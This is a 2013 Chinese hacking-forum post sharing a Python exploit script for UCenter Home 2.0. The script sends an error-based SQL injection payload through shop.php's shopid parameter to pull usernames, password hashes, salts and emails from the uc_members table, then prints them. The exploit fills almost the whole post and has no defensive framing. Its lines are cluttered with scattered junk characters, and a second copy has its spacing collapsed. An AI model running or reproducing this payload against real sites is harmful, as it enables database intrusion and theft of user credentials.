找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2001|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl- y, C2 w7 J% [3 J

  `2 p% i. H8 w' [+ q8 C+ h1 q
5 ?' R' h# k+ S  l#!/usr/bin/env python  
0 k* G3 i$ P7 Y+ m- I* h
0 h# Z( Y. z$ l, u: qimport sys  : f: w- z( h0 L- {5 H$ a
import urllib2  0 ~1 W& ?6 R" P* A+ |2 ^6 }
import re  $ }" h3 @: |2 i* E

. Q1 m" j3 G( S7 Z# S$ |5 Ydef info():  
" i2 m3 |2 a: Q' _' f    print 'From:http://www.exploit-db.com/exploits/14997/'   c& T" ]: Y4 M5 l9 q% [
    print 'http://www.hake.cc/Web_loudong/'
) ]' D7 N0 \2 R; K4 B% l* e3 w    print 'changed:qiaoy'  
- ?+ P* K# u2 K) p4 e( ^    print 'exp:'  
  N' l$ ~0 V5 i, W4 v4 ?    print ' ./UCenter_Home_2.0.py site'  
1 R$ i) k% Y( m" E! Y2 C  f2 W " c* t$ F: c+ I( ]( `
def main():  
+ x# f5 R. d: T7 y    if len(sys.argv) != 2:  3 p! c1 T% d. y
        info()  0 I5 A9 a1 w* m" U$ \
    else:  
+ X: S) }$ g' D( O* b        site = sys.argv[1]  ) |4 i. P, s. O+ {
        if site[0:7] == 'http://':  
; h- k, ]3 e+ W& h            sitesite =site  
8 d% _! Q  X" q9 L1 {8 b* I/ S( z        elif site[0:8] == 'https://':  
6 o$ q# o' N4 q, P6 ?- c            sitesite = site  5 |) ~! G* ?! `* j
        else:  
3 v* r( X0 R; H! y* q4 C            site = 'http://'+site  - H& V$ \" }8 n* x9 ^
        try:  4 J6 T. f7 u) [) B+ H4 j
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  & _7 E! h" j1 ?* |
            Value = urllib2.urlopen(url).read()  ; J; C. |$ x  s
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  , p6 X+ Q% N9 z2 G3 i% j
            hacked = Msg.split(':')  
; K% S- ~" p5 w0 V- {/ X- u& _# L            print 'Name:    '+hacked[1]  " r2 c2 w* A" c/ B
            print 'Passwd:  '+hacked[2]  $ a" \4 ^9 w$ x8 Q" N& x
            print 'salt:    '+hacked[3]  # f" t4 e, _+ S; |$ X
            print 'email:   '+hacked[4]  
7 t: s. V& f1 v2 H* s$ A( n  k        except:  
  T: s0 f2 c6 C& F            print 'Sorry,I can\'t work............'  ' `) n9 U9 f) X" t6 C: _" r

6 q) Q6 O" Y, ]# D5 ]% E* n/ pif __name__ == '__main__':  
& d- Y. X. J5 A7 Y+ Y; Q* N    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表